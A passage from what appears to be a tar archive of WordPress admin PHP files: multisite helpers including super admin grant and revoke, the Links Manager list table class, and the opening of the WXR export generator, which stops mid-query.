=> 'Ndebele, North; North Ndebele', 'ng' => 'Ndonga', 'ne' => 'Nepali', 'nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian', 'nb' => 'Bokmål, Norwegian, Norwegian Bokmål', 'no' => 'Norwegian', 'ny' => 'Chichewa; Chewa; Nyanja', 'oc' => 'Occitan, Provençal', 'oj' => 'Ojibwa', 'or' => 'Oriya', 'om' => 'Oromo', 'os' => 'Ossetian; Ossetic', 'pa' => 'Panjabi; Punjabi', 'fa' => 'Persian', 'pi' => 'Pali', 'pl' => 'Polish', 'pt' => 'Portuguese', 'ps' => 'Pushto', 'qu' => 'Quechua', 'rm' => 'Romansh', 'ro' => 'Romanian', 'rn' => 'Rundi', 'ru' => 'Russian', 'sg' => 'Sango', 'sa' => 'Sanskrit', 'sr' => 'Serbian', 'hr' => 'Croatian', 'si' => 'Sinhala; Sinhalese', 'sk' => 'Slovak', 'sl' => 'Slovenian', 'se' => 'Northern Sami', 'sm' => 'Samoan', 'sn' => 'Shona', 'sd' => 'Sindhi', 'so' => 'Somali', 'st' => 'Sotho, Southern', 'es' => 'Spanish; Castilian', 'sc' => 'Sardinian', 'ss' => 'Swati', 'su' => 'Sundanese', 'sw' => 'Swahili', 'sv' => 'Swedish', 'ty' => 'Tahitian', 'ta' => 'Tamil', 'tt' => 'Tatar', 'te' => 'Telugu', 'tg' => 'Tajik', 'tl' => 'Tagalog', 'th' => 'Thai', 'bo' => 'Tibetan', 'ti' => 'Tigrinya', 'to' => 'Tonga (Tonga Islands)', 'tn' => 'Tswana', 'ts' => 'Tsonga', 'tk' => 'Turkmen', 'tr' => 'Turkish', 'tw' => 'Twi', 'ug' => 'Uighur; Uyghur', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'uz' => 'Uzbek', 've' => 'Venda', 'vi' => 'Vietnamese', 'vo' => 'Volapük', 'cy' => 'Welsh','wa' => 'Walloon','wo' => 'Wolof', 'xh' => 'Xhosa', 'yi' => 'Yiddish', 'yo' => 'Yoruba', 'za' => 'Zhuang; Chuang', 'zu' => 'Zulu' ); /** * Filter the language codes. * * @since MU * * @param array $lang_codes Key/value pair of language codes where key is the short version. * @param string $code A two-letter designation of the language. */ $lang_codes = apply_filters( 'lang_codes', $lang_codes, $code ); return strtr( $code, $lang_codes ); } function sync_category_tag_slugs( $term, $taxonomy ) { if ( global_terms_enabled() && ( $taxonomy == 'category' || $taxonomy == 'post_tag' ) ) { if ( is_object( $term ) ) { $term->slug = sanitize_title( $term->name ); } else { $term['slug'] = sanitize_title( $term['name'] ); } } return $term; } add_filter( 'get_term', 'sync_category_tag_slugs', 10, 2 ); function _access_denied_splash() { if ( ! is_user_logged_in() || is_network_admin() ) return; $blogs = get_blogs_of_user( get_current_user_id() ); if ( wp_list_filter( $blogs, array( 'userblog_id' => get_current_blog_id() ) ) ) return; $blog_name = get_bloginfo( 'name' ); if ( empty( $blogs ) ) wp_die( sprintf( __( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ) ); $output = '<p>' . sprintf( __( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ) . '</p>'; $output .= '<p>' . __( 'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '</p>'; $output .= '<h3>' . __('Your Sites') . '</h3>'; $output .= '<table>'; foreach ( $blogs as $blog ) { $output .= '<tr>'; $output .= "<td>{$blog->blogname}</td>"; $output .= '<td><a href="' . esc_url( get_admin_url( $blog->userblog_id ) ) . '">' . __( 'Visit Dashboard' ) . '</a> | ' . '<a href="' . esc_url( get_home_url( $blog->userblog_id ) ). '">' . __( 'View Site' ) . '</a></td>'; $output .= '</tr>'; } $output .= '</table>'; wp_die( $output ); } add_action( 'admin_page_access_denied', '_access_denied_splash', 99 ); function check_import_new_users( $permission ) { if ( !is_super_admin() ) return false; return true; } add_filter( 'import_allow_create_users', 'check_import_new_users' ); // See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too. function mu_dropdown_languages( $lang_files = array(), $current = '' ) { $flag = false; $output = array(); foreach ( (array) $lang_files as $val ) { $code_lang = basename( $val, '.mo' ); if ( $code_lang == 'en_US' ) { // American English $flag = true; $ae = __( 'American English' ); $output[$ae] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $ae . '</option>'; } elseif ( $code_lang == 'en_GB' ) { // British English $flag = true; $be = __( 'British English' ); $output[$be] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $be . '</option>'; } else { $translated = format_code_lang( $code_lang ); $output[$translated] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . esc_html ( $translated ) . '</option>'; } } if ( $flag === false ) // WordPress english $output[] = '<option value=""' . selected( $current, '', false ) . '>' . __( 'English' ) . "</option>"; // Order by name uksort( $output, 'strnatcasecmp' ); /** * Filter the languages available in the dropdown. * * @since MU * * @param array $output HTML output of the dropdown. * @param array $lang_files Available language files. * @param string $current The current language code. */ $output = apply_filters( 'mu_dropdown_languages', $output, $lang_files, $current ); echo implode( "\n\t", $output ); } function site_admin_notice() { global $wp_db_version; if ( !is_super_admin() ) return false; if ( get_site_option( 'wpmu_upgrade_site' ) != $wp_db_version ) echo "<div class='update-nag'>" . sprintf( __( 'Thank you for Updating! Please visit the <a href="%s">Upgrade Network</a> page to update all your sites.' ), esc_url( network_admin_url( 'upgrade.php' ) ) ) . "</div>"; } add_action( 'admin_notices', 'site_admin_notice' ); add_action( 'network_admin_notices', 'site_admin_notice' ); function avoid_blog_page_permalink_collision( $data, $postarr ) { if ( is_subdomain_install() ) return $data; if ( $data['post_type'] != 'page' ) return $data; if ( !isset( $data['post_name'] ) || $data['post_name'] == '' ) return $data; if ( !is_main_site() ) return $data; $post_name = $data['post_name']; $c = 0; while( $c < 10 && get_id_from_blogname( $post_name ) ) { $post_name .= mt_rand( 1, 10 ); $c ++; } if ( $post_name != $data['post_name'] ) { $data['post_name'] = $post_name; } return $data; } add_filter( 'wp_insert_post_data', 'avoid_blog_page_permalink_collision', 10, 2 ); function choose_primary_blog() { ?> <table class="form-table"> <tr> <?php /* translators: My sites label */ ?> <th scope="row"><?php _e( 'Primary Site' ); ?></th> <td> <?php $all_blogs = get_blogs_of_user( get_current_user_id() ); $primary_blog = get_user_meta( get_current_user_id(), 'primary_blog', true ); if ( count( $all_blogs ) > 1 ) { $found = false; ?> <select name="primary_blog"> <?php foreach( (array) $all_blogs as $blog ) { if ( $primary_blog == $blog->userblog_id ) $found = true; ?><option value="<?php echo $blog->userblog_id ?>"<?php selected( $primary_blog, $blog->userblog_id ); ?>><?php echo esc_url( get_home_url( $blog->userblog_id ) ) ?></option><?php } ?> </select> <?php if ( !$found ) { $blog = array_shift( $all_blogs ); update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id ); } } elseif ( count( $all_blogs ) == 1 ) { $blog = array_shift( $all_blogs ); echo $blog->domain; if ( $primary_blog != $blog->userblog_id ) // Set the primary blog again if it's out of sync with blog list. update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id ); } else { echo "N/A"; } ?> </td> </tr> <?php if ( in_array( get_site_option( 'registration' ), array( 'all', 'blog' ) ) ) : ?> <tr> <th scope="row" colspan="2" class="th-full"> <?php $signup_url = network_site_url( 'wp-signup.php' ); /** This filter is documented in wp-login.php */ ?> <a href="<?php echo apply_filters( 'wp_signup_location', $signup_url ); ?>"><?php _e( 'Create a New Site' ); ?></a> </th> </tr> <?php endif; ?> </table> <?php } /** * Grants Super Admin privileges. * * @since 3.0.0 * @param int $user_id ID of the user to be granted Super Admin privileges. * @return bool True on success, false on failure. This can fail when the user is * already a super admin or when the $super_admins global is defined. */ function grant_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) ) { return false; } /** * Fires before the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that is about to be granted Super Admin privileges. */ do_action( 'grant_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins() $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && ! in_array( $user->user_login, $super_admins ) ) { $super_admins[] = $user->user_login; update_site_option( 'site_admins' , $super_admins ); /** * Fires after the user is granted Super Admin privileges. * * @since 3.0.0 * * @param int $user_id ID of the user that was granted Super Admin privileges. */ do_action( 'granted_super_admin', $user_id ); return true; } return false; } /** * Revokes Super Admin privileges. * * @since 3.0.0 * @param int $user_id ID of the user Super Admin privileges to be revoked from. * @return bool True on success, false on failure. This can fail when the user's email * is the network admin email or when the $super_admins global is defined. */ function revoke_super_admin( $user_id ) { // If global super_admins override is defined, there is nothing to do here. if ( isset( $GLOBALS['super_admins'] ) ) { return false; } /** * Fires before the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges are being revoked from. */ do_action( 'revoke_super_admin', $user_id ); // Directly fetch site_admins instead of using get_super_admins() $super_admins = get_site_option( 'site_admins', array( 'admin' ) ); $user = get_userdata( $user_id ); if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) { if ( false !== ( $key = array_search( $user->user_login, $super_admins ) ) ) { unset( $super_admins[$key] ); update_site_option( 'site_admins', $super_admins ); /** * Fires after the user's Super Admin privileges are revoked. * * @since 3.0.0 * * @param int $user_id ID of the user Super Admin privileges were revoked from. */ do_action( 'revoked_super_admin', $user_id ); return true; } } return false; } /** * Whether or not we can edit this network from this page * * By default editing of network is restricted to the Network Admin for that site_id this allows for this to be overridden * * @since 3.1.0 * @param integer $site_id The network/site ID to check. */ function can_edit_network( $site_id ) { global $wpdb; if ( $site_id == $wpdb->siteid ) $result = true; else $result = false; /** * Filter whether this network can be edited from this page. * * @since 3.1.0 * * @param bool $result Whether the network can be edited from this page. * @param int $site_id The network/site ID to check. */ return apply_filters( 'can_edit_network', $result, $site_id ); } /** * Thickbox image paths for Network Admin. * * @since 3.1.0 * @access private */ function _thickbox_path_admin_subfolder() { ?> <script type="text/javascript"> //<![CDATA[ var tb_pathToImage = "../../wp-includes/js/thickbox/loadingAnimation.gif"; //]]> </script> <?php } class-wp-links-list-table.php000077700000013262151514577750012216 0ustar00<?php /** * Links Manager List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Links_List_Table extends WP_List_Table { function __construct( $args = array() ) { parent::__construct( array( 'plural' => 'bookmarks', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } function ajax_user_can() { return current_user_can( 'manage_links' ); } function prepare_items() { global $cat_id, $s, $orderby, $order; wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) ); $args = array( 'hide_invisible' => 0, 'hide_empty' => 0 ); if ( 'all' != $cat_id ) $args['category'] = $cat_id; if ( !empty( $s ) ) $args['search'] = $s; if ( !empty( $orderby ) ) $args['orderby'] = $orderby; if ( !empty( $order ) ) $args['order'] = $order; $this->items = get_bookmarks( $args ); } function no_items() { _e( 'No links found.' ); } function get_bulk_actions() { $actions = array(); $actions['delete'] = __( 'Delete' ); return $actions; } function extra_tablenav( $which ) { global $cat_id; if ( 'top' != $which ) return; ?> <div class="alignleft actions"> <?php $dropdown_options = array( 'selected' => $cat_id, 'name' => 'cat_id', 'taxonomy' => 'link_category', 'show_option_all' => __( 'View all categories' ), 'hide_empty' => true, 'hierarchical' => 1, 'show_count' => 0, 'orderby' => 'name', ); wp_dropdown_categories( $dropdown_options ); submit_button( __( 'Filter' ), 'button', false, false, array( 'id' => 'post-query-submit' ) ); ?> </div> <?php } function get_columns() { return array( 'cb' => '<input type="checkbox" />', 'name' => _x( 'Name', 'link name' ), 'url' => __( 'URL' ), 'categories' => __( 'Categories' ), 'rel' => __( 'Relationship' ), 'visible' => __( 'Visible' ), 'rating' => __( 'Rating' ) ); } function get_sortable_columns() { return array( 'name' => 'name', 'url' => 'url', 'visible' => 'visible', 'rating' => 'rating' ); } function display_rows() { global $cat_id; $alt = 0; foreach ( $this->items as $link ) { $link = sanitize_bookmark( $link ); $link->link_name = esc_attr( $link->link_name ); $link->link_category = wp_get_link_cats( $link->link_id ); $short_url = url_shorten( $link->link_url ); $visible = ( $link->link_visible == 'Y' ) ? __( 'Yes' ) : __( 'No' ); $rating = $link->link_rating; $style = ( $alt++ % 2 ) ? '' : ' class="alternate"'; $edit_link = get_edit_bookmark_link( $link ); ?> <tr id="link-<?php echo $link->link_id; ?>" <?php echo $style; ?>> <?php list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $class = "class='column-$column_name'"; $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; $attributes = $class . $style; switch ( $column_name ) { case 'cb': ?> <th scope="row" class="check-column"> <label class="screen-reader-text" for="cb-select-<?php echo $link->link_id; ?>"><?php echo sprintf( __( 'Select %s' ), $link->link_name ); ?></label> <input type="checkbox" name="linkcheck[]" id="cb-select-<?php echo $link->link_id; ?>" value="<?php echo esc_attr( $link->link_id ); ?>" /> </th> <?php break; case 'name': echo "<td $attributes><strong><a class='row-title' href='$edit_link' title='" . esc_attr( sprintf( __( 'Edit “%s”' ), $link->link_name ) ) . "'>$link->link_name</a></strong><br />"; $actions = array(); $actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>'; $actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "link.php?action=delete&link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ) . "' onclick=\"if ( confirm( '" . esc_js( sprintf( __( "You are about to delete this link '%s'\n 'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ) . "' ) ) { return true;}return false;\">" . __( 'Delete' ) . "</a>"; echo $this->row_actions( $actions ); echo '</td>'; break; case 'url': echo "<td $attributes><a href='$link->link_url' title='". esc_attr( sprintf( __( 'Visit %s' ), $link->link_name ) )."'>$short_url</a></td>"; break; case 'categories': ?><td <?php echo $attributes ?>><?php $cat_names = array(); foreach ( $link->link_category as $category ) { $cat = get_term( $category, 'link_category', OBJECT, 'display' ); if ( is_wp_error( $cat ) ) echo $cat->get_error_message(); $cat_name = $cat->name; if ( $cat_id != $category ) $cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>"; $cat_names[] = $cat_name; } echo implode( ', ', $cat_names ); ?></td><?php break; case 'rel': ?><td <?php echo $attributes ?>><?php echo empty( $link->link_rel ) ? '<br />' : $link->link_rel; ?></td><?php break; case 'visible': ?><td <?php echo $attributes ?>><?php echo $visible; ?></td><?php break; case 'rating': ?><td <?php echo $attributes ?>><?php echo $rating; ?></td><?php break; default: /** * Fires for each registered custom link column. * * @since 2.1.0 * * @param string $column_name Name of the custom column. * @param int $link_id Link ID. */ ?> <td <?php echo $attributes ?>><?php do_action( 'manage_link_custom_column', $column_name, $link->link_id ); ?></td> <?php break; } } ?> </tr> <?php } } } export.php000077700000041356151514577750006637 0ustar00<?php /** * WordPress Export Administration API * * @package WordPress * @subpackage Administration */ /** * Version number for the export format. * * Bump this when something changes that might affect compatibility. * * @since 2.5.0 */ define( 'WXR_VERSION', '1.2' ); /** * Generates the WXR export file for download * * @since 2.1.0 * * @param array $args Filters defining what should be included in the export */ function export_wp( $args = array() ) { global $wpdb, $post; $defaults = array( 'content' => 'all', 'author' => false, 'category' => false, 'start_date' => false, 'end_date' => false, 'status' => false, ); $args = wp_parse_args( $args, $defaults ); /** * Fires at the beginning of an export, before any headers are sent. * * @since 2.3.0 * * @param array $args An array of export arguments. */ do_action( 'export_wp', $args ); $sitename = sanitize_key( get_bloginfo( 'name' ) ); if ( ! empty($sitename) ) $sitename .= '.'; $filename = $sitename . 'wordpress.' . date( 'Y-m-d' ) . '.xml'; header( 'Content-Description: File Transfer' ); header( 'Content-Disposition: attachment; filename=' . $filename ); header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true ); if ( 'all' != $args['content'] && post_type_exists( $args['content'] ) ) { $ptype = get_post_type_object( $args['content'] ); if ( ! $ptype->can_export ) $args['content'] = 'post'; $where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] ); } else { $post_types = get_post_types( array( 'can_export' => true ) ); $esses = array_fill( 0, count($post_types), '%s' ); $where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types ); } if ( $args['status'] && ( 'post' == $args['content'] || 'page' == $args['content'] ) ) $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] ); else $where .= " AND {$wpdb->posts}.post_status != 'auto-draft'"; $join = ''; if ( $args['category'] && 'post' == $args['content'] ) { if ( $term = term_exists( $args['category'], 'category' ) ) { $join = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)"; $where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] ); } } if ( 'post' == $args['content'] || 'page' == $args['content'] ) { if ( $args['author'] ) $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] ); if ( $args['start_date'] ) $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", date( 'Y-m-d', strtotime($args['start_date']) ) ); if ( $args['end_date'] ) $where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", date( 'Y-m-d', strtotime('+1 month', strtotime($args['end_date'])) ) ); } // grab a snapshot of post IDs, just in case it changes during the export $post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" ); // get the requested terms ready, empty unless posts filtered by category or all content $cats = $tags = $terms = array(); if ( isset( $term ) && $term ) { $cat = get_term( $term['term_id'], 'category' ); $cats = array( $cat->term_id => $cat ); unset( $term, $cat ); } else if ( 'all' == $args['content'] ) { $categories = (array) get_categories( array( 'get' => 'all' ) ); $tags = (array) get_tags( array( 'get' => 'all' ) ); $custom_taxonomies = get_taxonomies( array( '_builtin' => false ) ); $custom_terms = (array) get_terms( $custom_taxonomies, array( 'get' => 'all' ) ); // put categories in order with no child going before its parent while ( $cat = array_shift( $categories ) ) { if ( $cat->parent == 0 || isset( $cats[$cat->parent] ) ) $cats[$cat->term_id] = $cat; else $categories[] = $cat; } // put terms in order with no child going before its parent while ( $t = array_shift( $custom_terms ) ) { if ( $t->parent == 0 || isset( $terms[$t->parent] ) ) $terms[$t->term_id] = $t; else $custom_terms[] = $t; } unset( $categories, $custom_taxonomies, $custom_terms ); } /** * Wrap given string in XML CDATA tag. * * @since 2.1.0 * * @param string $str String to wrap in XML CDATA tag. * @return string */ function wxr_cdata( $str ) { if ( seems_utf8( $str ) == false ) $str = utf8_encode( $str ); // $str = ent2ncr(esc_html($str)); $str = '<![CDATA[' . str_replace( ']]>', ']]]]><![CDATA[>', $str ) . ']]>'; return $str; } /** * Return the URL of the site * * @since 2.5.0 * * @return string Site URL. */ function wxr_site_url() { // ms: the base url if ( is_multisite() ) return network_home_url(); // wp: the blog url else return get_bloginfo_rss( 'url' ); } /** * Output a cat_name XML tag from a given category object * * @since 2.1.0 * * @param object $category Category Object */ function wxr_cat_name( $category ) { if ( empty( $category->name ) ) return; echo '<wp:cat_name>' . wxr_cdata( $category->name ) . '</wp:cat_name>'; } /** * Output a category_description XML tag from a given category object * * @since 2.1.0 * * @param object $category Category Object */ function wxr_category_description( $category ) { if ( empty( $category->description ) ) return; echo '<wp:category_description>' . wxr_cdata( $category->description ) . '</wp:category_description>'; } /** * Output a tag_name XML tag from a given tag object * * @since 2.3.0 * * @param object $tag Tag Object */ function wxr_tag_name( $tag ) { if ( empty( $tag->name ) ) return; echo '<wp:tag_name>' . wxr_cdata( $tag->name ) . '</wp:tag_name>'; } /** * Output a tag_description XML tag from a given tag object * * @since 2.3.0 * * @param object $tag Tag Object */ function wxr_tag_description( $tag ) { if ( empty( $tag->description ) ) return; echo '<wp:tag_description>' . wxr_cdata( $tag->description ) . '</wp:tag_description>'; } /** * Output a term_name XML tag from a given term object * * @since 2.9.0 * * @param object $term Term Object */ function wxr_term_name( $term ) { if ( empty( $term->name ) ) return; echo '<wp:term_name>' . wxr_cdata( $term->name ) . '</wp:term_name>'; } /** * Output a term_description XML tag from a given term object * * @since 2.9.0 * * @param object $term Term Object */ function wxr_term_description( $term ) { if ( empty( $term->description ) ) return; echo '<wp:term_description>' . wxr_cdata( $term->description ) . '</wp:term_description>'; } /** * Output list of authors with posts * * @since 3.1.0 */ function wxr_authors_list() { global $wpdb; $authors = array(); $results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft'" ); foreach ( (array) $results as $result ) $authors[] = get_userdata( $result->post_author ); $authors = array_filter( $authors ); foreach ( $authors as $author ) { echo "\t<wp:author>"; echo '<wp:author_id>' . $author->ID . '</wp:author_id>'; echo '<wp:author_login>' . $author->user_login . '</wp:author_login>'; echo '<wp:author_email>' . $author->user_email . '</wp:author_email>'; echo '<wp:author_display_name>' . wxr_cdata( $author->display_name ) . '</wp:author_display_name>'; echo '<wp:author_first_name>' . wxr_cdata( $author->user_firstname ) . '</wp:author_first_name>'; echo '<wp:author_last_name>' . wxr_cdata( $author->user_lastname ) . '</wp:author_last_name>'; echo "</wp:author>\n"; } } /** * Ouput all navigation menu terms * * @since 3.1.0 */ function wxr_nav_menu_terms() { $nav_menus = wp_get_nav_menus(); if ( empty( $nav_menus ) || ! is_array( $nav_menus ) ) return; foreach ( $nav_menus as $menu ) { echo "\t<wp:term><wp:term_id>{$menu->term_id}</wp:term_id><wp:term_taxonomy>nav_menu</wp:term_taxonomy><wp:term_slug>{$menu->slug}</wp:term_slug>"; wxr_term_name( $menu ); echo "</wp:term>\n"; } } /** * Output list of taxonomy terms, in XML tag format, associated with a post * * @since 2.3.0 */ function wxr_post_taxonomy() { $post = get_post(); $taxonomies = get_object_taxonomies( $post->post_type ); if ( empty( $taxonomies ) ) return; $terms = wp_get_object_terms( $post->ID, $taxonomies ); foreach ( (array) $terms as $term ) { echo "\t\t<category domain=\"{$term->taxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "</category>\n"; } } function wxr_filter_postmeta( $return_me, $meta_key ) { if ( '_edit_lock' == $meta_key ) $return_me = true; return $return_me; } add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 ); echo '<?xml version="1.0" encoding="' . get_bloginfo('charset') . "\" ?>\n"; ?> <!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. --> <!-- It contains information about your site's posts, pages, comments, categories, and other content. --> <!-- You may use this file to transfer that content from one site to another. --> <!-- This file is not intended to serve as a complete backup of your site. --> <!-- To import this information into a WordPress site follow these steps: --> <!-- 1. Log in to that site as an administrator. --> <!-- 2. Go to Tools: Import in the WordPress admin panel. --> <!-- 3. Install the "WordPress" importer from the list. --> <!-- 4. Activate & Run Importer. --> <!-- 5. Upload this file using the form provided on that page. --> <!-- 6. You will first be asked to map the authors in this export file to users --> <!-- on the site. For each author, you may choose to map to an --> <!-- existing user on the site or to create a new user. --> <!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. --> <!-- contained in this file into your site. --> <?php the_generator( 'export' ); ?> <rss version="2.0" xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:wp="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/" > <channel> <title><?php bloginfo_rss( 'name' ); ?></title> <link><?php bloginfo_rss( 'url' ); ?></link> <description><?php bloginfo_rss( 'description' ); ?></description> <pubDate><?php echo date( 'D, d M Y H:i:s +0000' ); ?></pubDate> <language><?php bloginfo_rss( 'language' ); ?></language> <wp:wxr_version><?php echo WXR_VERSION; ?></wp:wxr_version> <wp:base_site_url><?php echo wxr_site_url(); ?></wp:base_site_url> <wp:base_blog_url><?php bloginfo_rss( 'url' ); ?></wp:base_blog_url> <?php wxr_authors_list(); ?> <?php foreach ( $cats as $c ) : ?> <wp:category><wp:term_id><?php echo $c->term_id ?></wp:term_id><wp:category_nicename><?php echo $c->slug; ?></wp:category_nicename><wp:category_parent><?php echo $c->parent ? $cats[$c->parent]->slug : ''; ?></wp:category_parent><?php wxr_cat_name( $c ); ?><?php wxr_category_description( $c ); ?></wp:category> <?php endforeach; ?> <?php foreach ( $tags as $t ) : ?> <wp:tag><wp:term_id><?php echo $t->term_id ?></wp:term_id><wp:tag_slug><?php echo $t->slug; ?></wp:tag_slug><?php wxr_tag_name( $t ); ?><?php wxr_tag_description( $t ); ?></wp:tag> <?php endforeach; ?> <?php foreach ( $terms as $t ) : ?> <wp:term><wp:term_id><?php echo $t->term_id ?></wp:term_id><wp:term_taxonomy><?php echo $t->taxonomy; ?></wp:term_taxonomy><wp:term_slug><?php echo $t->slug; ?></wp:term_slug><wp:term_parent><?php echo $t->parent ? $terms[$t->parent]->slug : ''; ?></wp:term_parent><?php wxr_term_name( $t ); ?><?php wxr_term_description( $t ); ?></wp:term> <?php endforeach; ?> <?php if ( 'all' == $args['content'] ) wxr_nav_menu_terms(); ?> <?php /** This action is documented in wp-includes/feed-rss2.php */ do_action( 'rss2_head' ); ?> <?php if ( $post_ids ) { global $wp_query; $wp_query->in_the_loop = true; // Fake being in the loop. // fetch 20 posts at a time rather than loading the entire table into memory while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) { $where = 'WHERE ID IN (' . join( ',', $next_posts ) . ')'; $posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" ); // Begin Loop foreach ( $posts as $post ) { setup_postdata( $post ); $is_sticky = is_sticky( $post->ID ) ? 1 : 0; ?> <item> <?php /** This filter is documented in wp-includes/feed.php */ ?> <title><?php echo apply_filters( 'the_title_rss', $post->post_title ); ?></title> <link><?php the_permalink_rss() ?></link> <pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_post_time( 'Y-m-d H:i:s', true ), false ); ?></pubDate> <dc:creator><?php echo wxr_cdata( get_the_author_meta( 'login' ) ); ?></dc:creator> <guid isPermaLink="false"><?php the_guid(); ?></guid> <description></description> <content:encoded><?php /** * Filter the post content used for WXR exports. * * @since 2.5.0 * * @param string $post_content Content of the current post. */ echo wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) ); ?></content:encoded> <excerpt:encoded><?php /** * Filter the post excerpt used for WXR exports. * * @since 2.6.0 * * @param string $post_excerpt Excerpt for the current post. */ echo wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) ); ?></excerpt:encoded> <wp:post_id><?php echo $post->ID; ?></wp:post_id> <wp:post_date><?php echo $post->post_date; ?></wp:post_date> <wp:post_date_gmt><?php echo $post->post_date_gmt; ?></wp:post_date_gmt> <wp:comment_status><?php echo $post->comment_status; ?></wp:comment_status> <wp:ping_status><?php echo $post->ping_status; ?></wp:ping_status> <wp:post_name><?php echo $post->post_name; ?></wp:post_name> <wp:status><?php echo $post->post_status; ?></wp:status> <wp:post_parent><?php echo $post->post_parent; ?></wp:post_parent> <wp:menu_order><?php echo $post->menu_order; ?></wp:menu_order> <wp:post_type><?php echo $post->post_type; ?></wp:post_type> <wp:post_password><?php echo $post->post_password; ?></wp:post_password> <wp:is_sticky><?php echo $is_sticky; ?></wp:is_sticky> <?php if ( $post->post_type == 'attachment' ) : ?> <wp:attachment_url><?php echo wp_get_attachment_url( $post->ID ); ?></wp:attachment_url> <?php endif; ?> <?php wxr_post_taxonomy(); ?> <?php $postmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) ); foreach ( $postmeta as $meta ) : /** * Filter whether to selectively skip post meta used for WXR exports. * * Returning a truthy value to the filter will skip the current meta * object from being exported. * * @since 3.3.0 * * @param bool $skip Whether to skip the current post meta. Default false. * @param string $meta_key Current meta key. * @param object $meta Current meta object. */ if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) ) continue; ?> <wp:postmeta> <wp:meta_key><?php echo $meta->meta_key; ?></wp:meta_key> <wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value> </wp:postmeta> <?php endforeach; ?> <?php $comments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) ); foreach ( $comments as $c ) : ?> <wp:comment> <wp:comment_id><?php echo $c->comment_ID; ?></wp:comment_id> <wp:comment_author><?php echo wxr_cdata( $c->comment_author ); ?></wp:comment_author> <wp:comment_author_email><?php echo $c->comment_author_email; ?></wp:comment_author_email> <wp:comment_author_url><?php echo esc_url_raw( $c->comment_author_url ); ?></wp:comment_author_url> <wp:comment_author_IP><?php echo $c->comment_author_IP; ?></wp:comment_author_IP> <wp:comment_date><?php echo $c->comment_date; ?></wp:comment_date> <wp:comment_date_gmt><?php echo $c->comment_date_gmt; ?></wp:comment_date_gmt> <wp:comment_content><?php echo wxr_cdata( $c->comment_content ) ?></wp:comment_content> <wp:comment_approved><?php echo $c->comment_approved; ?></wp:comment_approved> <wp:comment_type><?php echo $c->comment_type; ?></wp:comment_type> <wp:comment_parent><?php echo $c->comment_parent; ?></wp:comment_parent> <wp:comment_user_id><?php echo $c->user_id; ?></wp:comment_user_id> <?php $c_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM 